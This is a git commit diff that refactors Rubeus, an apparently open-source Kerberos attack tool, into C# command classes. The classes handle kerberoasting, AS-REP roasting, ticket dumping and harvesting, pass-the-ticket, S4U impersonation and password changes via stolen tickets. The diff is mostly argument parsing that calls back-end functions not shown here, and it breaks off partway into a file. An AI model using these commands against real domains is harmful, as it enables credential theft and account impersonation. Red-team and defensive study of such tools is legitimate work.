Merge pull request #3 from mark-s/master
Moved code from the if blocks in program.cs to Command objectsmaster
commit
dd5a25742b
|
@ -0,0 +1,69 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Asktgs : ICommand
|
||||
{
|
||||
public static string CommandName => "asktgs";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
string service = "";
|
||||
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
service = arguments["/service"];
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Ask.TGS(kirbi, service, ptt, dc, true);
|
||||
return;
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Ask.TGS(kirbi, service, ptt, dc, true);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,124 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Asktgt : ICommand
|
||||
{
|
||||
public static string CommandName => "asktgt";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
string user = "";
|
||||
string domain = "";
|
||||
string hash = "";
|
||||
string dc = "";
|
||||
bool ptt = false;
|
||||
uint luid = 0;
|
||||
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/domain"))
|
||||
{
|
||||
domain = arguments["/domain"];
|
||||
}
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/rc4"))
|
||||
{
|
||||
hash = arguments["/rc4"];
|
||||
encType = Interop.KERB_ETYPE.rc4_hmac;
|
||||
}
|
||||
if (arguments.ContainsKey("/aes256"))
|
||||
{
|
||||
hash = arguments["/aes256"];
|
||||
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
|
||||
}
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/createnetonly"))
|
||||
{
|
||||
// if we're starting a hidden process to apply the ticket to
|
||||
if (!Helpers.IsHighIntegrity())
|
||||
{
|
||||
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
|
||||
return;
|
||||
}
|
||||
if (arguments.ContainsKey("/show"))
|
||||
{
|
||||
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
|
||||
}
|
||||
else
|
||||
{
|
||||
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
|
||||
}
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(user))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(domain))
|
||||
{
|
||||
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||
}
|
||||
if (String.IsNullOrEmpty(hash))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,58 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Asreproast : ICommand
|
||||
{
|
||||
public static string CommandName => "asreproast";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
string user = "";
|
||||
string domain = "";
|
||||
string dc = "";
|
||||
string format = "john";
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/domain"))
|
||||
{
|
||||
domain = arguments["/domain"];
|
||||
}
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/format"))
|
||||
{
|
||||
format = arguments["/format"];
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(user))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(domain))
|
||||
{
|
||||
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(dc))
|
||||
{
|
||||
Roast.ASRepRoast(user, domain, "", format);
|
||||
}
|
||||
else
|
||||
{
|
||||
Roast.ASRepRoast(user, domain, dc, format);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,73 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Changepw : ICommand
|
||||
{
|
||||
public static string CommandName => "changepw";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
|
||||
string newPassword = "";
|
||||
string dc = "";
|
||||
|
||||
if (arguments.ContainsKey("/new"))
|
||||
{
|
||||
newPassword = arguments["/new"];
|
||||
}
|
||||
if (String.IsNullOrEmpty(newPassword))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Reset.UserPassword(kirbi, newPassword, dc);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Reset.UserPassword(kirbi, newPassword, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Createnetonly : ICommand
|
||||
{
|
||||
public static string CommandName => "createnetonly";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
|
||||
if (arguments.ContainsKey("/program"))
|
||||
{
|
||||
if (arguments.ContainsKey("/show"))
|
||||
{
|
||||
LSA.CreateProcessNetOnly(arguments["/program"], true);
|
||||
}
|
||||
else
|
||||
{
|
||||
LSA.CreateProcessNetOnly(arguments["/program"]);
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Describe : ICommand
|
||||
{
|
||||
public static string CommandName => "describe";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
LSA.DisplayTicket(kirbi);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
LSA.DisplayTicket(kirbi);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,57 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Dump : ICommand
|
||||
{
|
||||
public static string CommandName => "dump";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
string service = "";
|
||||
if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
service = arguments["/service"];
|
||||
}
|
||||
UInt32 luid = 0;
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
LSA.ListKerberosTicketData(luid, service);
|
||||
}
|
||||
else if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
LSA.ListKerberosTicketData(0, arguments["/service"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
LSA.ListKerberosTicketData();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class HarvestCommand : ICommand
|
||||
{
|
||||
public static string CommandName => "harvest";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
int intervalMinutes = 60;
|
||||
if (arguments.ContainsKey("/interval"))
|
||||
{
|
||||
intervalMinutes = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
|
||||
Harvest.HarvestTGTs(intervalMinutes);
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
using System.Collections.Generic;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public interface ICommand
|
||||
{
|
||||
void Execute(Dictionary<string, string> arguments);
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,67 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Kerberoast : ICommand
|
||||
{
|
||||
public static string CommandName => "kerberoast";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
|
||||
string spn = "";
|
||||
string user = "";
|
||||
string OU = "";
|
||||
|
||||
if (arguments.ContainsKey("/spn"))
|
||||
{
|
||||
spn = arguments["/spn"];
|
||||
}
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/ou"))
|
||||
{
|
||||
OU = arguments["/ou"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/creduser"))
|
||||
{
|
||||
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
string[] parts = arguments["/creduser"].Split('\\');
|
||||
string domainName = parts[0];
|
||||
string userName = parts[1];
|
||||
|
||||
if (!arguments.ContainsKey("/credpassword"))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
string password = arguments["/credpassword"];
|
||||
|
||||
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
|
||||
|
||||
Roast.Kerberoast(spn, user, OU, cred);
|
||||
}
|
||||
else
|
||||
{
|
||||
Roast.Kerberoast(spn, user, OU);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Monitor : ICommand
|
||||
{
|
||||
public static string CommandName => "monitor";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
|
||||
string targetUser = "";
|
||||
int interval = 60;
|
||||
if (arguments.ContainsKey("/filteruser"))
|
||||
{
|
||||
targetUser = arguments["/filteruser"];
|
||||
}
|
||||
if (arguments.ContainsKey("/interval"))
|
||||
{
|
||||
interval = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
Harvest.Monitor4624(interval, targetUser);
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,63 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Ptt : ICommand
|
||||
{
|
||||
public static string CommandName => "ptt";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
uint luid = 0;
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
LSA.ImportTicket(kirbiBytes, luid);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
LSA.ImportTicket(kirbiBytes, luid);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Purge : ICommand
|
||||
{
|
||||
public static string CommandName => "purge";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
uint luid = 0;
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LSA.Purge(luid);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,77 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class RenewCommand : ICommand
|
||||
{
|
||||
public static string CommandName => "renew";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
if (arguments.ContainsKey("/autorenew"))
|
||||
{
|
||||
// if we want to auto-renew the TGT up until the renewal limit
|
||||
Renew.TGTAutoRenew(kirbi, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise a single renew operation
|
||||
byte[] blah = Renew.TGT(kirbi, ptt, dc);
|
||||
}
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
if (arguments.ContainsKey("/autorenew"))
|
||||
{
|
||||
// if we want to auto-renew the TGT up until the renewal limit
|
||||
Renew.TGTAutoRenew(kirbi, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise a single renew operation
|
||||
byte[] blah = Renew.TGT(kirbi, ptt, dc);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,133 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class S4u : ICommand
|
||||
{
|
||||
public static string CommandName => "s4u";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
|
||||
|
||||
string targetUser = "";
|
||||
string targetSPN = "";
|
||||
string altSname = "";
|
||||
string user = "";
|
||||
string domain = "";
|
||||
string hash = "";
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/domain"))
|
||||
{
|
||||
domain = arguments["/domain"];
|
||||
}
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/rc4"))
|
||||
{
|
||||
hash = arguments["/rc4"];
|
||||
encType = Interop.KERB_ETYPE.rc4_hmac;
|
||||
}
|
||||
if (arguments.ContainsKey("/aes256"))
|
||||
{
|
||||
hash = arguments["/aes256"];
|
||||
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
|
||||
}
|
||||
if (arguments.ContainsKey("/impersonateuser"))
|
||||
{
|
||||
targetUser = arguments["/impersonateuser"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/msdsspn"))
|
||||
{
|
||||
targetSPN = arguments["/msdsspn"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/altservice"))
|
||||
{
|
||||
altSname = arguments["/altservice"];
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(targetUser))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(targetSPN))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
|
||||
|
||||
user = arguments["/user"];
|
||||
|
||||
if (String.IsNullOrEmpty(hash))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
|
||||
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
using System.Collections.Generic;
|
||||
|
||||
|
||||
namespace Rubeus.Commands
|
||||
{
|
||||
public class Tgtdeleg : ICommand
|
||||
{
|
||||
public static string CommandName => "tgtdeleg";
|
||||
|
||||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] blah = LSA.RequestFakeDelegTicket();
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Rubeus.Domain
|
||||
{
|
||||
public static class ArgumentParser
|
||||
{
|
||||
public static ArgumentParserResult Parse(IEnumerable<string> args)
|
||||
{
|
||||
var arguments = new Dictionary<string, string>();
|
||||
try
|
||||
{
|
||||
|
||||
foreach (var argument in args)
|
||||
{
|
||||
var idx = argument.IndexOf(':');
|
||||
if (idx > 0)
|
||||
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
|
||||
else
|
||||
arguments[argument] = string.Empty;
|
||||
}
|
||||
|
||||
return ArgumentParserResult.Success(arguments);
|
||||
}
|
||||
catch (System.Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
return ArgumentParserResult.Failure();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System.Collections.Generic;
|
||||
|
||||
namespace Rubeus.Domain
|
||||
{
|
||||
public class ArgumentParserResult
|
||||
{
|
||||
public bool ParsedOk { get; }
|
||||
public Dictionary<string, string> Arguments { get; }
|
||||
|
||||
private ArgumentParserResult(bool parsedOk, Dictionary<string, string> arguments)
|
||||
{
|
||||
ParsedOk = parsedOk;
|
||||
Arguments = arguments;
|
||||
}
|
||||
|
||||
|
||||
public static ArgumentParserResult Success(Dictionary<string, string> arguments)
|
||||
=> new ArgumentParserResult(true, arguments);
|
||||
|
||||
public static ArgumentParserResult Failure()
|
||||
=> new ArgumentParserResult(false, null);
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,59 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Rubeus.Commands;
|
||||
|
||||
namespace Rubeus.Domain
|
||||
{
|
||||
public class CommandCollection
|
||||
{
|
||||
|
||||
private readonly Dictionary<string, Func<ICommand>> _availableCommands = new Dictionary<string, Func<ICommand>>();
|
||||
|
||||
// How To Add A New Command:
|
||||
// 1. Create your command class in the Commands Folder
|
||||
// 2. That class must have a CommandName static property that has the Command's name
|
||||
// and must also Implement the ICommand interface
|
||||
// 3. Put the code that does the work into the Execute() method
|
||||
// 4. Add an entry to the _availableCommands dictionary in the Constructor below.
|
||||
|
||||
public CommandCollection()
|
||||
{
|
||||
_availableCommands.Add(Asktgs.CommandName, () => new Asktgs());
|
||||
_availableCommands.Add(Asktgt.CommandName, () => new Asktgt());
|
||||
_availableCommands.Add(Asreproast.CommandName, () => new Asreproast());
|
||||
_availableCommands.Add(Changepw.CommandName, () => new Changepw());
|
||||
_availableCommands.Add(Createnetonly.CommandName, () => new Createnetonly());
|
||||
_availableCommands.Add(Describe.CommandName, () => new Describe());
|
||||
_availableCommands.Add(Dump.CommandName, () => new Dump());
|
||||
_availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand());
|
||||
_availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast());
|
||||
_availableCommands.Add(Monitor.CommandName, () => new Monitor());
|
||||
_availableCommands.Add(Ptt.CommandName, () => new Ptt());
|
||||
_availableCommands.Add(Purge.CommandName, () => new Purge());
|
||||
_availableCommands.Add(RenewCommand.CommandName, () => new RenewCommand());
|
||||
_availableCommands.Add(S4u.CommandName, () => new S4u());
|
||||
_availableCommands.Add(Tgtdeleg.CommandName, () => new Tgtdeleg());
|
||||
}
|
||||
|
||||
public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
|
||||
{
|
||||
bool commandWasFound;
|
||||
|
||||
if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
|
||||
commandWasFound= false;
|
||||
else
|
||||
{
|
||||
// Create the command object
|
||||
var command = _availableCommands[commandName].Invoke();
|
||||
|
||||
// and execute it with the arguments from the command line
|
||||
command.Execute(arguments);
|
||||
|
||||
commandWasFound = true;
|
||||
}
|
||||
|
||||
return commandWasFound;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,85 @@
|
|||
using System;
|
